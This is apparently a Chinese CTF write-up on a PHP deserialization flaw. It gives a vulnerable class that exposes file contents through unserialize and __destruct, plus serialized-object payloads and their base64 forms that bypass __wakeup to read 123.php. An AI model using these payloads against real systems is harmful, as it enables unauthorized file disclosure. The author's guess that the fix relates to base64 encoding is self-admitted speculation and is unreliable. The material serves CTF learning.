PHP反序列化漏洞-CTF实例

PHP反序列化漏洞-CTF

PHP反序列化漏洞-FIRST

PHP反序列化漏洞-SECOND

1.CTF实例

CTF实例源码:
strchr() 函数: 搜索字符串在另一字符串中的第一次出现,返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 FALSE。
dirname(__FILE__)函数:表示当前文件绝对路径

//10.php
  

  error_reporting(0); //关闭错误报告
    class happy{ 
        protected $file='index.php'; 
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/
                    show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作
                else
                    die('Wrong filename.');
            }
        } 
         
        function __wakeup(){ 
            $this->file='index.php'; 
        } 
        public function __toString()
        {
            return '';
        }
 }
      
    if (!isset($_GET['file'])){ 
        show_source('index.php'); 
    } 
    else{ 
        $file=base64_decode($_GET['file']); 
        echo unserialize($file); 
        } 
?> 
<!--password in 123.php--> //密码在123.php文件中

分析:
isset()函数,当()中的值为空返回false,也就是说们通过GET传参,为空时显示index.php文件。

if (!isset($_GET['file']))
{
show_source('index.php');
}

PHP反序列化漏洞-CTF实例_第1张图片
构造payload

O:5:"happy":2:{s:7:"\00*\00file";s:7:"123.php";}
base64加密后:
Tzo1OiJoYXBweSI6Mjp7czo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9

在这里插入图片描述
我们发现此时我们构造的payload并没有生效,输出的为index.php页面。
PHP反序列化漏洞-CTF实例_第2张图片
对于此处,我搜查了一些资料,发现是对于保护变量进行外部修改时,属性标识符的问题,也就是s的问题,我们将s->S后,成功回显123.php

在PHP序列化格式中,不存在S与s标识有什么区别,所以我分析,应该为base64编码中对这块有什么特殊的规定,我暂时没有找到,希望大家看到此处时,明白其原由的请评论给我,谢谢

O:5:"happy":2:{S:7:"\00*\00file";s:7:"123.php";}
base64加密后
Tzo1OiJoYXBweSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo3OiIxMjMucGhwIjt9

成功打开123.php文件,漏洞利用成功…
PHP反序列化漏洞-CTF实例_第3张图片

你可能感兴趣的:(代码审计-PHP反序列化漏洞)